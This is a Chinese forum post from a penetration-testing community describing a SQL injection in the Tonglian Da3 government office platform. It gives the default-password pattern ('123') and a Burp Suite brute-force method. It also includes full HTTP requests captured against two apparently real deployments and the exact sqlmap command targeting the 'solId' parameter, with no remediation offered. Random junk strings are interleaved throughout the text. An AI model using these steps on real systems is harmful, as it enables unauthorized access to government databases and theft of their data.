中国网络渗透测试联盟

标题: 同联Da3协同办公平台前台通用sql injection漏洞 [打印本页]
作者: admin    时间: 2018-10-20 20:15
标题: 同联Da3协同办公平台前台通用sql injection漏洞

. F1 v! @9 O4 K" V
" u% {5 A; _3 V) Q( s% a# G4 S- i

! }* V# C+ l3 V8 n( K" a

3 G% |' q C1 p 平台简介：( |9 t1 L0 a9 ~# L0 x

0 W7 O5 M- G2 L! T/ R |2 [$ w

/ _0 y- x z2 D   , ?% ]; |6 u6 Y6 P" E3 [8 H" @

2 S8 M" V- s9 ~8 H" L5 J+ v/ h- K9 }

6 t- v) z. N& C) h& r- h7 B" k2 I 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
$ z& ]2 m* O* O3 m% S/ r/ z' J同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
" k! z4 t+ y1 r2 E; Q! P同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！9 V9 p; [ T# U* `3 F

6 w7 \1 y9 f2 P2 d+ S( A% a: x D

3 a8 ]0 |: ]9 \% O  ) P9 m1 z$ V; G5 u. v" w. U- z0 b2 ]

. g4 m* {, I1 e2 G }: Q

' g2 V3 B/ [0 q% U 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 0 P$ C. T, [- q7 A

7 P- F6 B7 U* Y2 Y2 A2 M, v, Q, F7 [

2 H0 {4 _7 s7 ~   3 e' h4 ^6 ?: n) V* C- W: J

9 t! U( U3 e1 K9 T: e; m

9 P4 ^9 L1 z5 R4 I3 F6 S' } http://1.1.1.1:7197/cap-aco/#（案例2-） 0 ~" B: q& r" d+ D& l7 f

: {0 N- m, H. `

, p8 F5 ~* `$ [* s2 i http://www.XXOO.com （案例1-官网网站）8 `; ?4 d N3 _ J6 ?7 C8 e

& z( U; b6 G% J) H7 ?- X/ e: z

; e$ d$ P& A. @4 \+ x3 }9 U, \ a5 x: W$ a   3 d/ a7 ?) ^2 @% F, y% L4 |

2 y0 C; k- d1 D4 k% n' H% B* p3 B

& f1 U! o3 A, E4 K 漏洞详情:' n7 d' w; F- f

2 L p' [ y( f

; V, w; |/ t0 W: ~% i3 L7 B6 U  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试, r) |( O; N) V1 s- g

% d9 h/ Q* z. Z/ L$ K

1 w7 w) V( {% u. o1 R0 \' B% V      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：* b+ i6 ?4 r5 B8 c( j% {" I) x

+ f9 ^+ O! Z/ g |; r% u J

) F* W* ~. L! ?$ G9 J# C  . e) X* S3 Z8 }& {& ^/ B0 I

6 d# e; ~ N( H5 Y2 E& ]. Z. Z

# G: l: g7 ?; \3 S7 l* E! y  1 I2 [6 a r3 h: T

& v, g% D8 L- n' f, g0 |

0 @2 T4 q+ ~2 D4 ^ status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： 8 [2 C8 C Z$ H T. a' q$ e. b0 Y

@0 i2 a1 m1 @( I- k0 H2 _% l

( Q- f4 p: y) ]4 X# ~ 1、案例1-官方网站1 ? d& X& e) M5 C) t0 h% ^

# U& c7 g6 E! ^8 C" F

2 \ t5 T4 j7 C9 V& C GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 $ r1 `; Q; W h/ b! o! }

7 `6 b% F* n9 X" h, J7 i

0 K$ Z* }! a& f I/ z1 c Host: www.XXOO.com( j% Y5 p: v7 M1 D- `

5 @2 W9 |7 h. f

3 s; ~* S7 s. m# B( N1 J Proxy-Connection: Keep-Alive 9 P. T7 L- q2 }9 g; ^

( j! t; e; ~2 J- `4 j1 V

4 F1 p7 y% ]# T# V1 K! ~ Accept: application/json, text/javascript, */*; q=0.01 4 H: _- R0 U9 c- V) G2 g' ?5 [1 ]

/ T9 U1 N) ^* a8 m

7 r6 b- c5 W1 U# Q% E1 j9 l Accept-Language: zh-CN0 R0 J, t* L5 q

: |* p! P- g! S

- E) r. A: X/ J Content-Type: application/json! R. v1 P. r0 f. u( H

- q5 R) g8 s/ y/ a [

0 `5 g% Q @5 J- e User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko $ n1 E( ? J' i

; F K' E5 U+ q- H2 _6 {% A

; e3 v; B. {9 ] X-Requested-With: XMLHttpRequest ' M! I% G* d2 f

# W1 K3 e1 ]! J7 t5 k

( z2 C1 D' Y( A; v$ f8 ]/ n Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 8 z% ]" P9 Z; g; T$ C" G

$ e1 J* a8 ~) y6 @9 J, @( }

, K) S' l3 X" z7 m/ Y5 d Accept-Encoding: gzip, deflate, sdch $ f0 ~$ l# y( h

/ [7 p' x; }) i ~5 v5 p4 N6 y) Z

$ l7 G4 k8 L* R4 { t S Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e9 ^5 ~- x: d* p. T9 w5 P( E7 ~

4 P, z& W# n; z3 F' Y2 y

% Q. N7 t0 Z. E 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: . ^! |8 l4 G7 V1 e) Q- Z5 v: _7 y

# I: @# Q5 C) S$ }2 s9 [

, d0 W% M% x1 X. E5 K  ( L$ Q. k$ Q6 m4 [

5 \; l5 | U3 v9 R: |

* q/ M8 |8 c; W. |  # h; L0 m0 x2 f* d. f" t4 c

' V7 q1 a+ v* [) @& v- ~. @; _

* r- U. L; z9 u$ j/ J  6 C; q3 B8 U! e/ Y5 W

, G5 Q3 R* p! Z: r. M

, j/ X1 f5 Y, [- d2 V   ; F/ ?3 e/ s% e+ l3 a0 v

, e6 G2 t/ A. t/ W" |! v+ _% ]6 V

7 p5 C! `, ?" t) G4 N8 U# G$ L. W% e   m J) d; A0 \' b

! [& A# D" r9 D X' I

0 `4 I7 b& ~( q 2、案例2-某天河云平台' A+ B. r, n3 K& j

# ] P! ?5 f; b' _3 A$ |

/ w2 p' ]- _8 k, Y GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 0 l* V- C& ]& d& F

" p, }" E$ f5 G4 ?5 K

4 c8 W/ e& }0 E5 Z+ K Host: 1.1.1.:7197 0 `+ f) m k3 e6 o' x* `

J. s0 v+ u2 x3 b8 ?" F" T& w9 w$ f

' F0 x& y5 `" N, L8 H8 G Accept: application/json, text/javascript, */*; q=0.01 # G8 {- l7 W9 a- k

3 [) F& g! G Q) n1 h

6 Z/ y C9 u! o1 H# M6 f6 ]$ d9 h X-Requested-With: XMLHttpRequest ! D2 T, X3 Q3 @- P ~" ^9 p

( \% t, | U- @7 I2 ?

% L% b) w( m! k. a! \ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 N- s. G7 I8 f; u t% [ j/ C/ y

$ k0 J6 c e4 l/ ~8 [) Z

, ^3 j0 ?( g* f, }8 e8 b/ G9 K v7 x Content-Type: application/json+ U2 h& ]% ?# o6 G

7 {' P$ K% r# I' j# K& G0 `

" B6 q' ~, }2 {5 B- _0 R( |. J Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 , v, N% J( X( {" r, @

4 d7 ?1 d0 @+ S) o* p: I& S7 F

- D8 e, W9 k* M4 J7 b Accept-Language: zh-CN,zh;q=0.8 ' a8 C9 c# H" h. L7 }% Z$ |

; {( F- q' L& z N3 u5 g

7 ^: p- @, G+ V# C' Q5 ?2 b Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 1 X' O8 N8 v$ e7 s

9 x: V- a; Y1 ~2 m2 b9 U' _8 | d

' [0 A" ^& [" z" Q, P7 U- Z Connection: close) V$ v$ Q& F, @* ^1 f

! L. P# f: Q+ @0 y( P4 Z: E- Y1 a

# J: e7 J J# N3 y8 c 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: w0 k0 ]" b* R5 W

& |) O) S# {) s; f* D5 g

2 }9 e; C9 l6 Q' b! c   2 H8 K, X) N$ M% {) \, ~3 P5 @

, {* s9 S! A1 ?8 X0 {

$ u5 L8 z% h# C" b4 y5 ?7 L
( K" m. |5 L% e/ ~- y





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2